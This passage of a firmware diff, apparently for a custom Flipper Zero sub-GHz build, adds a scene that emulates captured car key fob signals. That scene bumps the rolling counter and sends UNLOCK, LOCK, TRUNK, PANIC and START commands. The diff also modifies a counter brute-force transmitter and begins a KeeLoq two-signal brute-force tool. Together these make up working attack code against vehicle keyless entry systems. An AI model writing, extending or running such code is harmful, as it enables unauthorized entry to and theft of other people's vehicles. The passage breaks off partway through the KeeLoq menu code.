|
||||
|
||||
bool ok = subghz_tx_start(subghz, subghz_txrx_get_fff_data(subghz->txrx));
|
||||
if(ok) {
|
||||
subghz->state_notifications = SubGhzNotificationStateTx;
|
||||
notification_message(subghz->notifications, &sequence_blink_magenta_10);
|
||||
FURI_LOG_I(TAG, "TX started");
|
||||
} else {
|
||||
FURI_LOG_E(TAG, "subghz_tx_start failed");
|
||||
}
|
||||
return ok;
|
||||
}
|
||||
|
||||
|
||||
/** Stop an active transmission. */
|
||||
static void car_emulate_stop_tx(SubGhz* subghz) {
|
||||
subghz_txrx_stop(subghz->txrx);
|
||||
subghz->state_notifications = SubGhzNotificationStateIDLE;
|
||||
notification_message(subghz->notifications, &sequence_blink_stop);
|
||||
FURI_LOG_I(TAG, "TX stopped");
|
||||
}
|
||||
|
||||
/* ═══════════════════════════════════════════════════════════════════════════
|
||||
* View callback (fired from the View's input handler)
|
||||
* ═════════════════════════════════════════════════════════════════════════*/
|
||||
static void subghz_scene_car_emulate_view_callback(uint32_t event, void* context) {
|
||||
SubGhz* subghz = context;
|
||||
view_dispatcher_send_custom_event(subghz->view_dispatcher, event);
|
||||
}
|
||||
|
||||
/* ═══════════════════════════════════════════════════════════════════════════
|
||||
* Helpers to keep the view in sync
|
||||
* ═════════════════════════════════════════════════════════════════════════*/
|
||||
static void car_emulate_refresh_view(SubGhz* subghz) {
|
||||
furi_assert(s_state);
|
||||
subghz_car_emulate_view_set_data(
|
||||
subghz->car_emulate_view,
|
||||
s_state->protocol_name,
|
||||
s_state->serial,
|
||||
s_state->current_counter,
|
||||
s_state->original_counter,
|
||||
s_state->freq,
|
||||
s_state->preset_short,
|
||||
s_state->is_transmitting);
|
||||
}
|
||||
|
||||
/* ═══════════════════════════════════════════════════════════════════════════
|
||||
* Scene on_enter
|
||||
* ═════════════════════════════════════════════════════════════════════════*/
|
||||
void subghz_scene_car_emulate_on_enter(void* context) {
|
||||
SubGhz* subghz = context;
|
||||
furi_assert(subghz);
|
||||
|
||||
/* Allocate per-session state */
|
||||
s_state = malloc(sizeof(CarEmulateState));
|
||||
furi_check(s_state);
|
||||
memset(s_state, 0, sizeof(CarEmulateState));
|
||||
|
||||
/* ── Read metadata from the loaded fff_data ── */
|
||||
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
|
||||
if(fff) {
|
||||
FuriString* tmp = furi_string_alloc();
|
||||
|
||||
flipper_format_rewind(fff);
|
||||
if(flipper_format_read_string(fff, "Protocol", tmp)) {
|
||||
strncpy(
|
||||
s_state->protocol_name,
|
||||
furi_string_get_cstr(tmp),
|
||||
sizeof(s_state->protocol_name) - 1);
|
||||
}
|
||||
|
||||
flipper_format_rewind(fff);
|
||||
flipper_format_read_uint32(fff, "Serial", &s_state->serial, 1);
|
||||
|
||||
flipper_format_rewind(fff);
|
||||
uint32_t btn_tmp = 0;
|
||||
if(flipper_format_read_uint32(fff, "Btn", &btn_tmp, 1)) {
|
||||
s_state->original_button = (uint8_t)btn_tmp;
|
||||
}
|
||||
|
||||
flipper_format_rewind(fff);
|
||||
flipper_format_read_uint32(fff, "Cnt", &s_state->original_counter, 1);
|
||||
s_state->current_counter = s_state->original_counter;
|
||||
|
||||
furi_string_free(tmp);
|
||||
}
|
||||
|
||||
/* ── Initialize the custom_btn system ──────────────────────────────────
|
||||
* Reset first so any leftover state from a previous session is cleared.
|
||||
* Then deserialize the decoder once: this causes the protocol's own
|
||||
* deserialize() to call subghz_custom_btn_set_original() and
|
||||
* subghz_custom_btn_set_max(), which is exactly what the standard
|
||||
* Transmitter scene does via subghz_scene_transmitter_update_data_show().
|
||||
* After this call:
|
||||
* - subghz_custom_btn_get_original() → the button that was in the file
|
||||
* - subghz_custom_btn_is_allowed() → true if protocol supports it
|
||||
* - subghz_custom_btn_get_max() → number of buttons available */
|
||||
subghz_custom_btns_reset();
|
||||
|
||||
SubGhzProtocolDecoderBase* decoder = subghz_txrx_get_decoder(subghz->txrx);
|
||||
if(decoder && fff) {
|
||||
flipper_format_rewind(fff);
|
||||
subghz_protocol_decoder_base_deserialize(decoder, fff);
|
||||
/* Rewind again so subsequent reads in car_emulate_read_freq_preset()
|
||||
* start from the beginning of the file. */
|
||||
flipper_format_rewind(fff);
|
||||
}
|
||||
|
||||
subghz_car_emulate_view_set_labels(
|
||||
subghz->car_emulate_view,
|
||||
"UNLOCK", /* OK */
|
||||
"LOCK", /* Up */
|
||||
"TRUNK", /* Down */
|
||||
"PANIC", /* Left */
|
||||
"START" /* Right */
|
||||
);
|
||||
|
||||
car_emulate_read_freq_preset(subghz, s_state);
|
||||
|
||||
/* ── Configure the view ── */
|
||||
subghz_car_emulate_view_set_callback(
|
||||
subghz->car_emulate_view, subghz_scene_car_emulate_view_callback, subghz);
|
||||
|
||||
car_emulate_refresh_view(subghz);
|
||||
|
||||
subghz->state_notifications = SubGhzNotificationStateIDLE;
|
||||
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdCarEmulate);
|
||||
}
|
||||
|
||||
/* ═══════════════════════════════════════════════════════════════════════════
|
||||
* Scene on_event
|
||||
* ═════════════════════════════════════════════════════════════════════════*/
|
||||
bool subghz_scene_car_emulate_on_event(void* context, SceneManagerEvent event) {
|
||||
SubGhz* subghz = context;
|
||||
furi_assert(s_state);
|
||||
bool consumed = false;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
|
||||
/* ── Transmit ── */
|
||||
if((event.event & 0xFFFFU) == SubGhzCustomEventCarEmulateTransmit) {
|
||||
InputKey key = (InputKey)((event.event >> 16) & 0xFFU);
|
||||
|
||||
/* Stop any ongoing TX first */
|
||||
if(subghz->state_notifications == SubGhzNotificationStateTx) {
|
||||
car_emulate_stop_tx(subghz);
|
||||
}
|
||||
|
||||
/* Bump counter */
|
||||
s_state->current_counter++;
|
||||
|
||||
/* Set the custom button BEFORE deserialize() is called inside
|
||||
* subghz_tx_start() → subghz_txrx_tx_start().
|
||||
* The protocol's deserialize() will call subghz_custom_btn_get()
|
||||
* to pick the right button code. */
|
||||
car_emulate_apply_button(subghz, key);
|
||||
|
||||
/* Only update the counter in fff_data; the protocol handles Btn. */
|
||||
car_emulate_update_fff(subghz, s_state->current_counter);
|
||||
|
||||
s_state->is_transmitting = true;
|
||||
s_state->stop_pending = false;
|
||||
s_state->tx_start_tick = (uint32_t)furi_get_tick();
|
||||
|
||||
uint8_t cur_btn = subghz_custom_btn_get();
|
||||
if(!car_emulate_start_tx(subghz, cur_btn)) {
|
||||
s_state->is_transmitting = false;
|
||||
notification_message(subghz->notifications, &sequence_error);
|
||||
}
|
||||
|
||||
car_emulate_refresh_view(subghz);
|
||||
consumed = true;
|
||||
|
||||
/* ── Stop ── */
|
||||
} else if(event.event == SubGhzCustomEventCarEmulateStop) {
|
||||
if(s_state->is_transmitting &&
|
||||
subghz->state_notifications == SubGhzNotificationStateTx) {
|
||||
|
||||
uint32_t elapsed = (uint32_t)furi_get_tick() - s_state->tx_start_tick;
|
||||
if(elapsed >= MIN_TX_TICKS) {
|
||||
car_emulate_stop_tx(subghz);
|
||||
s_state->is_transmitting = false;
|
||||
s_state->stop_pending = false;
|
||||
} else {
|
||||
s_state->stop_pending = true;
|
||||
}
|
||||
}
|
||||
car_emulate_refresh_view(subghz);
|
||||
consumed = true;
|
||||
|
||||
/* ── Exit ── */
|
||||
} else if(event.event == SubGhzCustomEventCarEmulateExit) {
|
||||
if(subghz->state_notifications == SubGhzNotificationStateTx) {
|
||||
car_emulate_stop_tx(subghz);
|
||||
}
|
||||
scene_manager_search_and_switch_to_previous_scene(
|
||||
subghz->scene_manager, SubGhzSceneSavedMenu);
|
||||
consumed = true;
|
||||
}
|
||||
|
||||
} else if(event.type == SceneManagerEventTypeTick) {
|
||||
|
||||
if(s_state->is_transmitting &&
|
||||
subghz->state_notifications == SubGhzNotificationStateTx) {
|
||||
|
||||
/* Check if hardware is done */
|
||||
if(subghz_devices_is_async_complete_tx(subghz->txrx->radio_device)) {
|
||||
subghz->state_notifications = SubGhzNotificationStateIDLE;
|
||||
subghz_txrx_stop(subghz->txrx);
|
||||
|
||||
if(s_state->stop_pending) {
|
||||
s_state->is_transmitting = false;
|
||||
s_state->stop_pending = false;
|
||||
notification_message(subghz->notifications, &sequence_blink_stop);
|
||||
}
|
||||
} else {
|
||||
/* Still transmitting – blink LED */
|
||||
notification_message(subghz->notifications, &sequence_blink_magenta_10);
|
||||
}
|
||||
|
||||
/* Enforce MIN_TX_TICKS stop gate */
|
||||
if(s_state->stop_pending) {
|
||||
uint32_t elapsed = (uint32_t)furi_get_tick() - s_state->tx_start_tick;
|
||||
if(elapsed >= MIN_TX_TICKS) {
|
||||
car_emulate_stop_tx(subghz);
|
||||
s_state->is_transmitting = false;
|
||||
s_state->stop_pending = false;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* Refresh view every tick for animation */
|
||||
car_emulate_refresh_view(subghz);
|
||||
consumed = true;
|
||||
}
|
||||
|
||||
return consumed;
|
||||
}
|
||||
|
||||
/* ═══════════════════════════════════════════════════════════════════════════
|
||||
* Scene on_exit
|
||||
* ═════════════════════════════════════════════════════════════════════════*/
|
||||
void subghz_scene_car_emulate_on_exit(void* context) {
|
||||
SubGhz* subghz = context;
|
||||
|
||||
if(subghz->state_notifications == SubGhzNotificationStateTx) {
|
||||
car_emulate_stop_tx(subghz);
|
||||
}
|
||||
|
||||
subghz->state_notifications = SubGhzNotificationStateIDLE;
|
||||
notification_message(subghz->notifications, &sequence_blink_stop);
|
||||
|
||||
/* Clear view callbacks */
|
||||
subghz_car_emulate_view_set_callback(subghz->car_emulate_view, NULL, NULL);
|
||||
|
||||
/* Free per-session state */
|
||||
if(s_state) {
|
||||
free(s_state);
|
||||
s_state = NULL;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,109 @@
|
||||
/**
|
||||
* Scene: CarEmulateSettings
|
||||
* Toggle: Custom Emulate Off / On
|
||||
* Selector: TX Power (reuses the same table as Radio Settings)
|
||||
* Both settings are persisted in SubGhzLastSettings.
|
||||
*/
|
||||
#include "../subghz_i.h"
|
||||
#include <lib/toolbox/value_index.h>
|
||||
|
||||
#define TAG "SubGhzCarEmulateSettings"
|
||||
|
||||
/* ── Toggle ──────────────────────────────────────────────────────────────── */
|
||||
static const char* const toggle_text[] = {"Off", "On"};
|
||||
|
||||
static void subghz_scene_car_emulate_settings_toggle_changed(VariableItem* item) {
|
||||
SubGhz* subghz = variable_item_get_context(item);
|
||||
furi_assert(subghz);
|
||||
|
||||
uint8_t index = variable_item_get_current_value_index(item);
|
||||
variable_item_set_current_value_text(item, toggle_text[index]);
|
||||
|
||||
subghz->last_settings->custom_car_emulate = (index == 1);
|
||||
subghz_last_settings_save(subghz->last_settings);
|
||||
}
|
||||
|
||||
/* ── TX Power ────────────────────────────────────────────────────────────── */
|
||||
/* Must match the table in subghz_scene_radio_settings.c exactly */
|
||||
#define CE_TX_POWER_COUNT 9
|
||||
static const char* const ce_tx_power_text[CE_TX_POWER_COUNT] = {
|
||||
"Preset", /* index 0 → use whatever the preset has baked in */
|
||||
"10dBm +",
|
||||
"7dBm",
|
||||
"5dBm",
|
||||
"0dBm",
|
||||
"-10dBm",
|
||||
"-15dBm",
|
||||
"-20dBm",
|
||||
"-30dBm",
|
||||
};
|
||||
|
||||
static void subghz_scene_car_emulate_settings_power_changed(VariableItem* item) {
|
||||
SubGhz* subghz = variable_item_get_context(item);
|
||||
furi_assert(subghz);
|
||||
|
||||
uint8_t index = variable_item_get_current_value_index(item);
|
||||
variable_item_set_current_value_text(item, ce_tx_power_text[index]);
|
||||
|
||||
/* Mirror the same fields that Radio Settings touches so the value is
|
||||
* visible everywhere and survives app restart. */
|
||||
subghz->tx_power = index;
|
||||
subghz->last_settings->tx_power = index;
|
||||
subghz_last_settings_save(subghz->last_settings);
|
||||
|
||||
/* Patch the live preset buffer immediately so any subsequent TX in this
|
||||
* session uses the new power without needing a restart. */
|
||||
SubGhzRadioPreset preset = subghz_txrx_get_preset(subghz->txrx);
|
||||
if(preset.data && preset.data_size > 0) {
|
||||
subghz_txrx_set_tx_power(preset.data, preset.data_size, index);
|
||||
}
|
||||
}
|
||||
|
||||
/* ── Scene callbacks ─────────────────────────────────────────────────────── */
|
||||
void subghz_scene_car_emulate_settings_on_enter(void* context) {
|
||||
SubGhz* subghz = context;
|
||||
furi_assert(subghz);
|
||||
|
||||
VariableItemList* list = subghz->variable_item_list;
|
||||
variable_item_list_reset(list);
|
||||
|
||||
/* ── Row 1: Custom Emulate toggle ── */
|
||||
VariableItem* item = variable_item_list_add(
|
||||
list,
|
||||
"Custom Emulate",
|
||||
2,
|
||||
subghz_scene_car_emulate_settings_toggle_changed,
|
||||
subghz);
|
||||
|
||||
uint8_t toggle_idx = subghz->last_settings->custom_car_emulate ? 1 : 0;
|
||||
variable_item_set_current_value_index(item, toggle_idx);
|
||||
variable_item_set_current_value_text(item, toggle_text[toggle_idx]);
|
||||
|
||||
/* ── Row 2: TX Power ── */
|
||||
item = variable_item_list_add(
|
||||
list,
|
||||
"TX Power",
|
||||
CE_TX_POWER_COUNT,
|
||||
subghz_scene_car_emulate_settings_power_changed,
|
||||
subghz);
|
||||
|
||||
/* Clamp stored value to valid range in case settings file is corrupt */
|
||||
uint8_t power_idx = subghz->tx_power;
|
||||
if(power_idx >= CE_TX_POWER_COUNT) power_idx = 0;
|
||||
|
||||
variable_item_set_current_value_index(item, power_idx);
|
||||
variable_item_set_current_value_text(item, ce_tx_power_text[power_idx]);
|
||||
|
||||
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdVariableItemList);
|
||||
}
|
||||
|
||||
bool subghz_scene_car_emulate_settings_on_event(void* context, SceneManagerEvent event) {
|
||||
UNUSED(context);
|
||||
UNUSED(event);
|
||||
return false;
|
||||
}
|
||||
|
||||
void subghz_scene_car_emulate_settings_on_exit(void* context) {
|
||||
SubGhz* subghz = context;
|
||||
variable_item_list_reset(subghz->variable_item_list);
|
||||
}
|
||||
@@ -30,4 +30,9 @@ ADD_SCENE(subghz, protocol_list, ProtocolList)
|
||||
ADD_SCENE(subghz, keeloq_keys, KeeloqKeys)
|
||||
ADD_SCENE(subghz, keeloq_key_edit, KeeloqKeyEdit)
|
||||
ADD_SCENE(subghz, psa_decrypt, PsaDecrypt)
|
||||
ADD_SCENE(subghz, keeloq_decrypt, KeeloqDecrypt)
|
||||
ADD_SCENE(subghz, keeloq_bf2, KeeloqBf2)
|
||||
ADD_SCENE(subghz, kl_bf_cleanup, KlBfCleanup)
|
||||
ADD_SCENE(subghz, counter_bf, CounterBf)
|
||||
ADD_SCENE(subghz, car_emulate, CarEmulate)
|
||||
ADD_SCENE(subghz, car_emulate_settings, CarEmulateSettings)
|
||||
|
||||
@@ -5,9 +5,10 @@
|
||||
#define TAG "SubGhzCounterBf"
|
||||
|
||||
// How many ticks to wait between transmissions (1 tick ~100ms)
|
||||
#define COUNTER_BF_TX_INTERVAL_TICKS 3
|
||||
#define COUNTER_BF_TX_INTERVAL_TICKS 5
|
||||
|
||||
typedef enum {
|
||||
CounterBfStateWarning,
|
||||
CounterBfStateIdle,
|
||||
CounterBfStateRunning,
|
||||
CounterBfStateStopped,
|
||||
@@ -19,54 +20,97 @@ typedef struct {
|
||||
uint32_t step;
|
||||
CounterBfState state;
|
||||
uint32_t packets_sent;
|
||||
uint32_t tick_wait; // ticks remaining before next TX
|
||||
uint32_t tick_wait;
|
||||
} CounterBfContext;
|
||||
|
||||
#define CounterBfEventStart (0xC0)
|
||||
#define CounterBfEventStop (0xC1)
|
||||
#define CounterBfEventStart (0xC0)
|
||||
#define CounterBfEventStop (0xC1)
|
||||
#define CounterBfEventWarningOk (0xC2)
|
||||
|
||||
static void counter_bf_warning_callback(GuiButtonType result, InputType type, void* context) {
|
||||
SubGhz* subghz = context;
|
||||
if(result == GuiButtonTypeCenter && type == InputTypeShort) {
|
||||
view_dispatcher_send_custom_event(subghz->view_dispatcher, CounterBfEventWarningOk);
|
||||
}
|
||||
}
|
||||
|
||||
static void counter_bf_widget_callback(GuiButtonType result, InputType type, void* context) {
|
||||
SubGhz* subghz = context;
|
||||
// Single press toggles start/stop
|
||||
if(result == GuiButtonTypeCenter && type == InputTypeShort) {
|
||||
view_dispatcher_send_custom_event(subghz->view_dispatcher, CounterBfEventStart);
|
||||
}
|
||||
}
|
||||
|
||||
static void counter_bf_draw_warning(SubGhz* subghz) {
|
||||
widget_reset(subghz->widget);
|
||||
widget_add_string_multiline_element(
|
||||
subghz->widget,
|
||||
64,
|
||||
20,
|
||||
AlignCenter,
|
||||
AlignCenter,
|
||||
FontSecondary,
|
||||
"WARNING:\nThis may desync\nyour fob!");
|
||||
widget_add_button_element(
|
||||
subghz->widget,
|
||||
GuiButtonTypeCenter,
|
||||
"OK",
|
||||
counter_bf_warning_callback,
|
||||
subghz);
|
||||
}
|
||||
|
||||
static void counter_bf_draw(SubGhz* subghz, CounterBfContext* ctx) {
|
||||
widget_reset(subghz->widget);
|
||||
FuriString* str = furi_string_alloc();
|
||||
furi_string_printf(str,
|
||||
furi_string_printf(
|
||||
str,
|
||||
"Counter BruteForce\n"
|
||||
"Cnt: 0x%08lX\n"
|
||||
"Sent: %lu pkts\n"
|
||||
"Start: 0x%08lX",
|
||||
ctx->current_cnt,
|
||||
ctx->packets_sent,
|
||||
ctx->start_cnt);
|
||||
"Cnt: 0x%06lX\n"
|
||||
"Start: 0x%06lX\n"
|
||||
"Sent: %lu",
|
||||
ctx->current_cnt & 0xFFFFFF,
|
||||
ctx->start_cnt & 0xFFFFFF,
|
||||
ctx->packets_sent);
|
||||
widget_add_string_multiline_element(
|
||||
subghz->widget, 0, 0, AlignLeft, AlignTop, FontSecondary,
|
||||
furi_string_get_cstr(str));
|
||||
subghz->widget, 0, 0, AlignLeft, AlignTop, FontSecondary, furi_string_get_cstr(str));
|
||||
furi_string_free(str);
|
||||
const char* btn_label = ctx->state == CounterBfStateRunning ? "Stop" : "Start";
|
||||
widget_add_button_element(
|
||||
subghz->widget, GuiButtonTypeCenter, btn_label,
|
||||
counter_bf_widget_callback, subghz);
|
||||
subghz->widget,
|
||||
GuiButtonTypeCenter,
|
||||
btn_label,
|
||||
counter_bf_widget_callback,
|
||||
subghz);
|
||||
}
|
||||
|
||||
static void counter_bf_save(SubGhz* subghz, CounterBfContext* ctx) {
|
||||
Storage* storage = furi_record_open(RECORD_STORAGE);
|
||||
FlipperFormat* file_fff = flipper_format_buffered_file_alloc(storage);
|
||||
if(flipper_format_buffered_file_open_existing(
|
||||
file_fff, furi_string_get_cstr(subghz->file_path))) {
|
||||
uint32_t cnt = ctx->current_cnt & 0xFFFFFF;
|
||||
if(!flipper_format_update_uint32(file_fff, "Cnt", &cnt, 1)) {
|
||||
FURI_LOG_E(TAG, "Failed to update Cnt in .sub file");
|
||||
}
|
||||
} else {
|
||||
FURI_LOG_E(TAG, "Failed to open .sub file for Cnt write");
|
||||
}
|
||||
flipper_format_free(file_fff);
|
||||
furi_record_close(RECORD_STORAGE);
|
||||
}
|
||||
|
||||
static void counter_bf_send(SubGhz* subghz, CounterBfContext* ctx) {
|
||||
// Stop any previous TX
|
||||
subghz_txrx_stop(subghz->txrx);
|
||||
|
||||
// Use official counter override mechanism
|
||||
subghz_block_generic_global_counter_override_set(ctx->current_cnt);
|
||||
// Increase repeat for stronger signal
|
||||
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
|
||||
flipper_format_rewind(fff);
|
||||
uint32_t repeat = 20;
|
||||
flipper_format_insert_or_update_uint32(fff, "Repeat", &repeat, 1);
|
||||
uint32_t delta = (ctx->current_cnt - ctx->start_cnt) & 0xFFFFFF;
|
||||
furi_hal_subghz_set_rolling_counter_mult((int32_t)delta);
|
||||
subghz_block_generic_global_counter_override_set(ctx->current_cnt & 0xFFFFFF);
|
||||
|
||||
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
|
||||
uint32_t repeat = 20;
|
||||
flipper_format_rewind(fff);
|
||||
flipper_format_update_uint32(fff, "Repeat", &repeat, 1);
|
||||
|
||||
subghz_block_generic_global.endless_tx = false;
|
||||
subghz_tx_start(subghz, fff);
|
||||
|
||||
ctx->packets_sent++;
|
||||
@@ -78,26 +122,38 @@ void subghz_scene_counter_bf_on_enter(void* context) {
|
||||
|
||||
CounterBfContext* ctx = malloc(sizeof(CounterBfContext));
|
||||
memset(ctx, 0, sizeof(CounterBfContext));
|
||||
ctx->state = CounterBfStateIdle;
|
||||
ctx->state = CounterBfStateWarning;
|
||||
ctx->step = 1;
|
||||
furi_hal_subghz_set_rolling_counter_mult(0);
|
||||
subghz_key_load(subghz, furi_string_get_cstr(subghz->file_path), false);
|
||||
|
||||
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
|
||||
uint32_t cnt = 0;
|
||||
flipper_format_rewind(fff);
|
||||
flipper_format_read_uint32(fff, "Cnt", &cnt, 1);
|
||||
ctx->current_cnt = cnt;
|
||||
ctx->start_cnt = cnt;
|
||||
{
|
||||
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
|
||||
flipper_format_rewind(fff);
|
||||
uint32_t cnt = 0;
|
||||
if(flipper_format_read_uint32(fff, "Cnt", &cnt, 1)) {
|
||||
ctx->current_cnt = cnt & 0xFFFFFF;
|
||||
ctx->start_cnt = cnt & 0xFFFFFF;
|
||||
} else {
|
||||
FURI_LOG_W(TAG, "Cnt not in fff after key_load, reading from disk");
|
||||
Storage* storage = furi_record_open(RECORD_STORAGE);
|
||||
FlipperFormat* file_fff = flipper_format_buffered_file_alloc(storage);
|
||||
if(flipper_format_buffered_file_open_existing(
|
||||
file_fff, furi_string_get_cstr(subghz->file_path))) {
|
||||
if(flipper_format_read_uint32(file_fff, "Cnt", &cnt, 1)) {
|
||||
ctx->current_cnt = cnt & 0xFFFFFF;
|
||||
ctx->start_cnt = cnt & 0xFFFFFF;
|
||||
}
|
||||
}
|
||||
flipper_format_free(file_fff);
|
||||
furi_record_close(RECORD_STORAGE);
|
||||
}
|
||||
}
|
||||
|
||||
scene_manager_set_scene_state(
|
||||
subghz->scene_manager, SubGhzSceneCounterBf, (uint32_t)(uintptr_t)ctx);
|
||||
|
||||
// Disable auto-increment
|
||||
furi_hal_subghz_set_rolling_counter_mult(0);
|
||||
|
||||
// Reload protocol to ensure preset and tx_power are properly configured
|
||||
subghz_key_load(subghz, furi_string_get_cstr(subghz->file_path), false);
|
||||
|
||||
counter_bf_draw(subghz, ctx);
|
||||
counter_bf_draw_warning(subghz);
|
||||
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdWidget);
|
||||
}
|
||||
|
||||
@@ -108,18 +164,25 @@ bool subghz_scene_counter_bf_on_event(void* context, SceneManagerEvent event) {
|
||||
if(!ctx) return false;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == CounterBfEventWarningOk) {
|
||||
ctx->state = CounterBfStateIdle;
|
||||
counter_bf_draw(subghz, ctx);
|
||||
return true;
|
||||
}
|
||||
|
||||
if(event.event == CounterBfEventStart) {
|
||||
if(ctx->state == CounterBfStateWarning) return true;
|
||||
|
||||
if(ctx->state != CounterBfStateRunning) {
|
||||
// Start
|
||||
ctx->state = CounterBfStateRunning;
|
||||
ctx->tick_wait = 0;
|
||||
subghz->state_notifications = SubGhzNotificationStateTx;
|
||||
counter_bf_send(subghz, ctx);
|
||||
} else {
|
||||
// Stop
|
||||
ctx->state = CounterBfStateStopped;
|
||||
subghz_txrx_stop(subghz->txrx);
|
||||
subghz->state_notifications = SubGhzNotificationStateIDLE;
|
||||
counter_bf_save(subghz, ctx);
|
||||
}
|
||||
counter_bf_draw(subghz, ctx);
|
||||
return true;
|
||||
@@ -130,25 +193,24 @@ bool subghz_scene_counter_bf_on_event(void* context, SceneManagerEvent event) {
|
||||
if(ctx->tick_wait > 0) {
|
||||
ctx->tick_wait--;
|
||||
} else {
|
||||
// Time to send next packet
|
||||
ctx->current_cnt += ctx->step;
|
||||
ctx->current_cnt = (ctx->current_cnt + ctx->step) & 0xFFFFFF;
|
||||
counter_bf_send(subghz, ctx);
|
||||
counter_bf_save(subghz, ctx);
|
||||
counter_bf_draw(subghz, ctx);
|
||||
}
|
||||
}
|
||||
return true;
|
||||
} else if(event.type == SceneManagerEventTypeBack) {
|
||||
subghz_block_generic_global.endless_tx = false;
|
||||
if(ctx->state == CounterBfStateWarning) {
|
||||
furi_hal_subghz_set_rolling_counter_mult(1);
|
||||
free(ctx);
|
||||
scene_manager_previous_scene(subghz->scene_manager);
|
||||
return true;
|
||||
}
|
||||
|
||||
subghz_txrx_stop(subghz->txrx);
|
||||
subghz->state_notifications = SubGhzNotificationStateIDLE;
|
||||
|
||||
// Save counter to file
|
||||
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
|
||||
flipper_format_rewind(fff);
|
||||
flipper_format_update_uint32(fff, "Cnt", &ctx->current_cnt, 1);
|
||||
subghz_save_protocol_to_file(
|
||||
subghz, fff, furi_string_get_cstr(subghz->file_path));
|
||||
|
||||
counter_bf_save(subghz, ctx);
|
||||
furi_hal_subghz_set_rolling_counter_mult(1);
|
||||
free(ctx);
|
||||
scene_manager_previous_scene(subghz->scene_manager);
|
||||
@@ -160,6 +222,5 @@ bool subghz_scene_counter_bf_on_event(void* context, SceneManagerEvent event) {
|
||||
void subghz_scene_counter_bf_on_exit(void* context) {
|
||||
SubGhz* subghz = context;
|
||||
widget_reset(subghz->widget);
|
||||
subghz_block_generic_global.endless_tx = false;
|
||||
subghz->state_notifications = SubGhzNotificationStateIDLE;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,257 @@
|
||||
#include "../subghz_i.h"
|
||||
#include <lib/subghz/protocols/keeloq.h>
|
||||
#include <lib/subghz/blocks/math.h>
|
||||
#include <dialogs/dialogs.h>
|
||||
|
||||
enum {
|
||||
KlBf2IndexLoadSig1,
|
||||
KlBf2IndexLoadSig2,
|
||||
KlBf2IndexType,
|
||||
KlBf2IndexStartBf,
|
||||
};
|
||||
|
||||
static const char* kl_bf2_type_labels[] = {
|
||||
"Type: Auto (6>7>8)",
|
||||
"Type: 6 (Serial 1)",
|
||||
"Type: 7 (Serial 2)",
|
||||
"Type: 8 (Serial 3)",
|
||||
};
|
||||
static const uint8_t kl_bf2_type_values[] = {0, 6, 7, 8};
|
||||
|
||||
static bool kl_bf2_extract_key(SubGhz* subghz, uint32_t* out_fix, uint32_t* out_hop) {
|
||||
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
|
||||
flipper_format_rewind(fff);
|
||||
uint8_t key_data[8] = {0};
|
||||
if(!flipper_format_read_hex(fff, "Key", key_data, 8)) return false;
|
||||
uint64_t raw = 0;
|
||||
for(uint8_t i = 0; i < 8; i++) {
|
||||
raw = (raw << 8) | key_data[i];
|
||||
}
|
||||
uint64_t reversed = subghz_protocol_blocks_reverse_key(raw, 64);
|
||||
*out_fix = (uint32_t)(reversed >> 32);
|
||||
*out_hop = (uint32_t)(reversed & 0xFFFFFFFF);
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool kl_bf2_is_keeloq(SubGhz* subghz) {
|
||||
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
|
||||
flipper_format_rewind(fff);
|
||||
FuriString* proto = furi_string_alloc();
|
||||
bool ok = flipper_format_read_string(fff, "Protocol", proto) &&
|
||||
furi_string_equal_str(proto, "KeeLoq");
|
||||
furi_string_free(proto);
|
||||
return ok;
|
||||
}
|
||||
|
||||
static void kl_bf2_submenu_callback(void* context, uint32_t index) {
|
||||
SubGhz* subghz = context;
|
||||
view_dispatcher_send_custom_event(subghz->view_dispatcher, index);
|
||||
}
|
||||
|
||||
static bool kl_bf2_load_signal(SubGhz* subghz, FuriString* out_path) {
|
||||
DialogsFileBrowserOptions browser_options;
|
||||
dialog_file_browser_set_basic_options(
|
||||
&browser_options, SUBGHZ_APP_FILENAME_EXTENSION, &I_sub1_10px);
|
||||
browser_options.base_path = SUBGHZ_APP_FOLDER;
|
||||
|
||||
FuriString* selected = furi_string_alloc();
|
||||
furi_string_set(selected, SUBGHZ_APP_FOLDER);
|
||||
|
||||
bool res = dialog_file_browser_show(subghz->dialogs, selected, selected, &browser_options);
|
||||
|
||||
if(res) {
|
||||
res = subghz_key_load(subghz, furi_string_get_cstr(selected), true);
|
||||
if(res) {
|
||||
furi_string_set(out_path, selected);
|
||||
}
|
||||
}
|
||||
|
||||
furi_string_free(selected);
|
||||
return res;
|
||||
}
|
||||
|
||||
static void kl_bf2_rebuild_menu(SubGhz* subghz) {
|
||||
submenu_reset(subghz->submenu);
|
||||
|
||||
char label1[64];
|
||||
char label2[64];
|
||||
|
||||
if(subghz->keeloq_bf2.sig1_loaded) {
|
||||
FuriString* name = furi_string_alloc();
|
||||
path_extract_filename(subghz->keeloq_bf2.sig1_path, name, true);
|
||||
snprintf(label1, sizeof(label1), "Sig 1: %s", furi_string_get_cstr(name));
|
||||
furi_string_free(name);
|
||||
} else {
|
||||
snprintf(label1, sizeof(label1), "Load Signal 1");
|
||||
}
|
||||
|
||||
if(subghz->keeloq_bf2.sig2_loaded) {
|
||||
FuriString* name = furi_string_alloc();
|
||||
path_extract_filename(subghz->keeloq_bf2.sig2_path, name, true);
|
||||
snprintf(label2, sizeof(label2), "Sig 2: %s", furi_string_get_cstr(name));
|
||||
furi_string_free(name);
|
||||
} else {
|
||||
snprintf(label2, sizeof(label2), "Load Signal 2");
|
||||
}
|
||||
|
||||
submenu_add_item(
|
||||
subghz->submenu, label1, KlBf2IndexLoadSig1,
|
||||
